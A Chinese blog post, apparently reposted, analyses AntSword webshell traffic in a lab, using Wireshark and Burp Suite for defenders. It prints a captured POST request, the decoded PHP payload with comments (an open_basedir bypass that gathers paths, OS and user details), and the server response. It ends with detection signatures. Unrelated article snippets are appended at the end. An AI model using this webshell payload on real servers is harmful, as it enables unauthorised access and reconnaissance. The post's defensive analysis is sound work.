流量分析——一、蚁剑流量特征

君衍.

  • 一、Webshell特征流量分析
  • 二、环境介绍
  • 三、使用Wireshark进行流量分析
    • 1、环境说明
    • 2、HTTP追踪流分析
    • 3、蚁剑请求体中代码块解读
  • 四、使用BurpSurite进行流量分析
    • 1、环境配置
    • 2、抓包分析
  • 六、总结

一、Webshell特征流量分析

对于重保、护网等攻防演练的防守方来说,流量分析的能力需要具备,所以本篇从webshell不同工具的不同特征进行分析来进行学习。
流量特征分析工具及对比:

  • wireshark:可以详细分析具体的数据包,比如从OSI七层、TCP四层每层协议等数据包都可以进行分析。
  • burpsurite:仅针对HTTP、HTTPS数据包进行抓包,分析,具备渗透测试部分功能,比如重放、编解码等等。

以及对于webshell利用的应急流程:从webshell是何时被部署的、又是通过什么漏洞打进来的、同时webshell的存放位置以及通过提取文件中的key密码为连接密码32位md5值得前16位作为AES得解密密钥,最后对流量进行解密以及还原所有流量进行回溯,这一流程需要明白。

二、环境介绍

首先,我使用的靶场是upload-labs靶场:
在这里插入图片描述
搭建在VMware上,使用的网络模式是NAT模式,网口自然是VMnet8:
在这里插入图片描述
在这里插入图片描述
之所以看以上内容是因为wireshark的抓包网卡需要进行更改:
在这里插入图片描述
之后我使用wireshark进行流量分析时,将抓取的网卡设置为net8即可。当然,如果靶场部署在云端,我们自然使用wlan的网卡进行抓取分析,需要根据实际情况而定。
当然,我们对蚁剑流量进行分析,自然需要下好蚁剑,安装好Burpsurite之后需要配置代理进行抓包查看。后面抓取的时候分析。
在这里插入图片描述
一句话木马木马已经写入php文件中,之后完成上传即可。

三、使用Wireshark进行流量分析

1、环境说明

已经将木马文件上传完毕,同时使用蚁剑添加了数据,测试连接成功。
在这里插入图片描述
我们打开wireshark进行抓包,之后蚁剑完成连接:
在这里插入图片描述
在这里插入图片描述
下面我们仔细分析这几个数据包:
在这里插入图片描述
可以看到1,4,5数据包为TCP的三次握手的数据包,10-13为TCP四次挥手的数据包。
同时数据报6为TCP在传输消息时,对于应用层可能出于超过MSS而导致不能一次包含全部应用层的PDU,将完整的消息分为了多段,所以会在除了最后一个分段,剩下都打上TCP segment of a reassembled PDU。

报文7与报文9则是HTTP的请求与响应包,中间则为TCP的确认机制ACK包。

当一个完整消息被分割成多个TCP segment 时,在能识别运行在TCP之上的应用层协议前提下,wireshark为了能标识出哪些TCP segment需要被重新组装(reassembled),从而将除了最后一个的其他segment都打上“TCP segment of a reassembled PDU”。

在这里插入图片描述
所以这里我们进行流量分析主要分析报文7请求包以及报文9相应包。

2、HTTP追踪流分析

我们这里直接查看TCP追踪流:
在这里插入图片描述
数据包内容如下:

POST /upload/upload/1.php HTTP/1.1
Host: 192.168.217.143
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 1797
Connection: closezyan=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.0ac4da9ca%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22f9b9d%22.%22abb3d6%22%3Becho%20%40asenc(%24output)%3Becho%20%22c84a1%22.%225b471%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Wed, 05 Jun 2024 14:06:51 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-89df9b9dabb3d6C:/phpstudy_pro/WWW/upload/upload	C:	Windows NT WINDOWS-7 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) AMD64	Administratorc84a15b4710

以上内容的解读:

  • POST /upload/upload/1.php HTTP/1.1: 通过 POST 方法发送到 /upload/upload/1.php 的请求。
  • Host: 192.168.217.143: 请求的主机地址为 192.168.217.143。
  • Accept-Encoding: gzip, deflate: 请求头中表明接受的编码方式。
  • User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2: 请求的用户代理是 Safari。
  • Content-Type: application/x-www-form-urlencoded: 表明请求体的内容类型是 URL 编码的表单数据。
  • Content-Length: 1797: 请求体的长度为 1797 字节。
  • Connection: close: 请求结束后立即关闭连接,不缓存。

接着中间这一长串则是经过URL编码过的PHP代码,解码之后如下:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/0ac4da9ca";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}@ini_set("open_basedir","/");@rmdir($tmdir);break;};
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>

(代码解读往下滑)
在这里插入图片描述
后面则是一段服务器的响应头以及响应体:

  • HTTP/1.1 200 OK: 服务器成功响应请求。
  • Date: Wed, 05 Jun 2024 14:06:51 GMT: 响应的日期时间。
  • Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02: 服务器信息。
  • X-Powered-By: PHP/7.3.4: 使用的 PHP 版本。
  • Connection: close: 连接关闭。
  • Transfer-Encoding: chunked: 响应体采用分块传输编码。
  • Content-Type: text/html; charset=UTF-8: 响应内容类型为 HTML。
  • 响应体则包含路径以及系统信息等内容。

其中我们还需观察到木马连接的密码则是zyan。

3、蚁剑请求体中代码块解读

这里我直接放入注释里面解读,因为从上面HTTP追踪流可以看到请求结果有路径,系统信息以及用户名称等内容。所以我们可以简单看下蚁剑的PHP代码:

<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {// 获取当前脚本所在目录$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);// 使用 base64 解码后进行拆分$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);// 将当前目录和系统临时目录添加到数组中@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {// 如果目录不可写,则继续循环if(!@is_writable($item)){continue;};// 创建一个临时目录$tmdir=$item."/0ac4da9ca";@mkdir($tmdir);// 如果目录不存在,则继续循环if(!@file_exists($tmdir)){continue;}// 获取临时目录的绝对路径$tmdir=realpath($tmdir);// 进入临时目录@chdir($tmdir);// 修改 open_basedir 为上一级目录@ini_set("open_basedir", "..");// 将路径按斜杠分隔成数组$cntarr=@preg_split("/\\\\|\\//",$tmdir);// 循环返回上级目录,直到根目录for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}// 恢复 open_basedir 为根目录@ini_set("open_basedir","/");// 删除临时目录@rmdir($tmdir);break;};
};// 定义函数 asenc,无实际操作,直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput,将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{// 获取当前脚本所在目录$D=dirname($_SERVER["SCRIPT_FILENAME"]);// 如果为空,则获取当前路径的上一级目录if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);// 将当前目录信息存入变量 $R$R="{$D}	";// 如果路径不是绝对路径,则循环遍历 A 到 Z 盘符,获取可用盘符if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}// 添加分隔符和系统信息$R.="	";// 获取当前用户信息$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();// 添加系统信息和当前用户信息到变量 $R$R.=php_uname();$R.="	{$s}";// 输出变量 $Recho $R;
}catch(Exception $e){// 如果出现异常,则输出错误信息echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>

四、使用BurpSurite进行流量分析

1、环境配置

这里依旧是将木马已经上传入虚拟机,我们可以直接使用蚁剑进行连接。但是Burp抓包我们需要在蚁剑上配置代理,所以首先需要配置代理,代理到Burp上。
在这里插入图片描述
我们可以看到Burp的监听端口是8080,下面在蚁剑上进行配置:
在这里插入图片描述
首先点击左上角AntSword,点击系统设置,然后找到代理设置更改为手动设置代理,接着将代理IP以及端口配置完毕即可。
在这里插入图片描述
即可配置成功。

2、抓包分析

接着我们打开BP拦截,使用蚁剑进行访问:
在这里插入图片描述
即可完成拦截,接着我们发送到重发器来进行查看:
在这里插入图片描述
将蚁剑请求包发送,观察响应包:
在这里插入图片描述
经过观察即可发现,与wireshark抓到的一致,同样是回显路径、系统信息以及用户名称。
在这里插入图片描述
具体流量分析过程以及解读见上面wireshark的HTTP追踪流解读即可。

六、总结

蚁剑的明显特征:(实战辨别还需网端结合进行甄别)

  • 1、使用URL编解码;
  • 2、每个数据包前面都会包含@ini_set("display_errors", "0");@set_time_limit(0);这两个语句;
  • 3、响应包都是明文。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/23101.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

wps:样式集的使用【笔记】

wps&#xff1a;样式集的使用【笔记】 前言版权推荐wps&#xff1a;样式集的使用1拿到一个内容模板2修改样式集3修改样式的详细说明4保存样式集5应用样式集 说明另外最后 前言 2024-6-5 23:36:20 以下内容源自《【笔记】》 仅供学习交流使用 版权 禁止其他平台发布时删除以…

LLM大语言模型(十六):最新开源 GLM4-9B 本地部署,带不动,根本带不动

目录 前言 本机环境 GLM4代码库下载 模型文件下载&#xff1a;文件很大 修改为从本地模型文件启动 启动模型cli对话demo 慢&#xff0c;巨慢&#xff0c;一个字一个字的蹦 GPU资源使用情况 GLM3资源使用情况对比 前言 GLM-4-9B 是智谱 AI 推出的最新一代预训练模型 …

Apache Superset:数据可视化的现代开源解决方案

Superset&#xff1a; 洞察数据&#xff0c;一目了然- 精选真开源&#xff0c;释放新价值。 概览 Apache Superset 是一个由 Apache 软件基金会支持的开源数据可视化和数据探索平台。它允许用户以直观的方式构建丰富的数据报告和仪表板&#xff0c;支持从多种数据源中提取数据…

2024版本---LabVIEW 软件安装及使用教程

目录 第1章 LabVIEW 软件安装及使用教程 1. 简介 2. 安装教程 2.1 下载 LabVIEW 2024 版本 2.2 安装 LabVIEW 3. 激活 LabVIEW 4. LabVIEW 基本使用教程 4.1 用户界面介绍 4.2 创建一个简单的 VI&#xff08;虚拟仪器&#xff09; 4.3 数据采集示例 5. 进阶功能介绍…

如何将华为Ascend手机的短信和联系人安全传输到电脑

华为Ascend系列手机以其流畅的使用体验、光滑的触感以及轻巧的设计赢得了市场的青睐。不仅如此&#xff0c;Ascend系列手机还以亲民的价格和出色的用户体验&#xff0c;搭载了众多先进功能&#xff0c;如Ascend P6的4.7英寸大屏、海思四核处理器、2GB RAM和800万像素摄像头等。…

66、API攻防——接口安全阿里云KEYPostmanDVWS

文章目录 一、工具使用——Postman自动化测试二、安全问题——Dvws泄露&鉴权&XXE三、安全问题——阿里KEY信息泄露利用 dvws-node 一、工具使用——Postman自动化测试 二、安全问题——Dvws泄露&鉴权&XXE 路径中出现/api/&#xff0c;一般都是接口。 请求包是…

宏集Panorama SCADA:个性化定制,满足多元角色需求

前言 在考虑不同人员在企业中的职能和职责时&#xff0c;他们对于SCADA系统的需求可能因其角色和工作职责的不同而有所差异。在SCADA系统的设计和实施过程中&#xff0c;必须充分考虑和解决这种差异性。 为了满足不同人员的需求, 宏集Panorama SCADA平台具备灵活的功能和定制…

Spring Boot 应用打 WAR 包后无法注册到 Nacos怎么办

你好&#xff0c;我是柳岸花开。 在微服务架构中&#xff0c;服务注册与发现是至关重要的一环。Nacos 作为阿里巴巴开源的注册中心&#xff0c;能够很好地满足这一需求。然而&#xff0c;在将 Spring Boot 应用打包成 WAR 部署到外部服务器时&#xff0c;可能会遇到服务无法注册…

基于R语言BIOMOD2 及机器学习方法的物种分布模拟

BIOMOD2是一个R软件包&#xff0c;用于构建和评估物种分布模型&#xff08;SDMs&#xff09;。它集成了多种统计和机器学习方法&#xff0c;如GLM、GAM、SVM等&#xff0c;允许用户预测和分析物种在不同环境条件下的地理分布。通过这种方式&#xff0c;BIOMOD帮助研究者评估气候…

AWS EMR Serverless

AWS概述 EMR Serverless 简介 在AWS概述一文中简单介绍过AWS EMR, 它是AWS提供的云端大数据平台。借助EMR可以设置集群以便在几分钟内使用大数据框架处理和分析数据。创建集群可参考官方文档&#xff1a;Amazon EMR 入门。但集群创建之后需要一直运行&#xff0c;用户需要管理…

Nginx+Tomcat负载均衡、动静分离集群

目录 1.Nginx负载均衡 1.1 负载均衡概念 1.2 负载均衡原理 1.3 Nginx配置反向代理 1.3.1 反向代理概念 1.3.2 反向代理主要参数 2.Nginx动静分离 2.1 动静分离的概念 2.2 Nginx 静态处理优势 2.3 动静分离原理 3. NginxTomcat动静分离的实验设计 3.1 准备三台虚拟机…

js 选择一个音频文件,绘制音频的波形,从右向左逐渐前进。

选择一个音频文件&#xff0c;绘制波形&#xff0c;从右向左逐渐前进。 完整代码&#xff1a; <template><div><input type"file" change"handleFileChange" accept"audio/*" /><button click"stopPlayback" :…

Typora编辑的markdown文档莫名其妙消失或未保存--解决方案【亲测可行】

由于误触键盘导致文件关闭&#xff0c;打开文件之后发现里面文字全没了~气死了&#xff01;&#xff01;&#xff01;&#xff01; 可以通过如下方法解决&#xff01; 一、打开typora 二、【文件】-【偏好设置】 三、点击恢复未保存的草稿&#xff0c;找到最近的文件复制粘贴…

django 内置 JSON 字段 使用场景

Django 内置的 JSON 字段&#xff08;JSONField&#xff09;是在 Django 3.1 版本中引入的&#xff0c;用于处理 JSON 格式的数据。JSONField 允许在数据库表中存储和查询 JSON 数据&#xff0c;并且在与 Python 代码交互时自动转换为合适的 Python 数据类型。以下是一些常见的…

2024050302-重学 Java 设计模式《实战享元模式》

重学 Java 设计模式&#xff1a;实战享元模式「基于Redis秒杀&#xff0c;提供活动与库存信息查询场景」 一、前言 程序员&#x1f468;‍&#x1f4bb;‍的上下文是什么&#xff1f; 很多时候一大部分编程开发的人员都只是关注于功能的实现&#xff0c;只要自己把这部分需求…

Facebook商城号怎么做?思路与操作分析

2016 年&#xff0c;Facebook打造了同名平台 Facebook Marketplace。通过利用 Facebook 现有的庞大客户群&#xff0c;该平台取得了立竿见影的成功&#xff0c;每月访问量将超过 10 亿。对于个人卖家和小企业来说&#xff0c;Facebook Marketplace是一个不错的销货渠道&#xf…

【二进制部署k8s-1.29.4】十一、metallb的安装部署

文章目录 简介 一.安装metallb二.配置metallb三.验证metallb 简介 本章节主要讲解安装metallb-v0.7.1的安装&#xff0c;metallb算是平民版的负载均衡&#xff0c;用于测试、访问量较小的情况还是比较不错的&#xff0c;但是对于请求量比较的时候&#xff0c;由于流量都集中在一…

猫熊超市管理系统

import java.util.Scanner;//增加商品类 //此类用来录入一个商品的所有属性&#xff0c;并作为结果对其返回 public class Add {public Goods add1() {Scanner scanner new Scanner(System.in);System.out.println("请输入商品名称");String name scanner.next();S…

dns域名解析服务和bond网卡

目录 dns域名解析服务 一、DNS 1、定义 2、以www.baidu.com为例 3、域名体系结构 4、DNS解析使用的协议和端口 5、dns域名解析的过程 6、dns解析的优先级 二、如何实现域名解析 1、域名解析 2、bind配置文件位置 &#xff08;一&#xff09;正向解析 &#xff08;…

每天CTF小练--ctfshow新手村

easy_base 密文&#xff1a;0XezFWZfNXafRjNlNXYit3dvh2cmR3Y 等号在前面&#xff0c;直接倒序后解码 ctfshow{base64_is_easy} 代码解&#xff1a; s 0XezFWZfNXafRjNlNXYit3dvh2cmR3Y print(s[::-1]) #翻转字符串 print(s[::-1]) #翻转字符串 print(s[::-1]) #翻转…